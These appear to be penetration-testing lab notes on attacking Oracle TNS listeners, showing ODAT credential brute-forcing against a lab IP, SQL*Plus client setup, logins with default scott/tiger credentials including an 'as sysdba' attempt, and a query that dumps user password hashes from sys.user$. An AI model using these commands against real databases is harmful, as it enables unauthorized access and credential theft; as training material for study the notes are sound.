##########
TNS Oracle
##########

****
ODAT
****

| ODAT: Oracle Database Attacking Tool

| You can install it from sources but requirements
| https://github.com/quentinhardy/odat/releases/

| "all" will try user/password combo on enumerated services

.. code-block:: bash

    ./odat-libc2.17-x86_64 all -s 10.129.205.19

|

********
SQL PLUS
********

| https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html

| Install

.. code-block:: bash

    sudo mkdir -p /opt/oracle
    sudo chown user: /opt/oracle
    cd /opt/oracle
    wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
    wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip


    unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
    unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
    export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
    export PATH=$LD_LIBRARY_PATH:$PATH

|

.. code-block:: bash

    # Connect to XE as scott
    /opt/oracle/instantclient_21_4/sqlplus scott/tiger@10.129.205.19/XE

    # Connect to XE as sysdba using scott creds
    /opt/oracle/instantclient_21_4/sqlplus scott/tiger@10.129.205.19/XE as sysdba

|

.. code-block:: sql

    # Get privs
    select * from user_role_privs;

    # List users and hashes
    select name, password from sys.user$;

|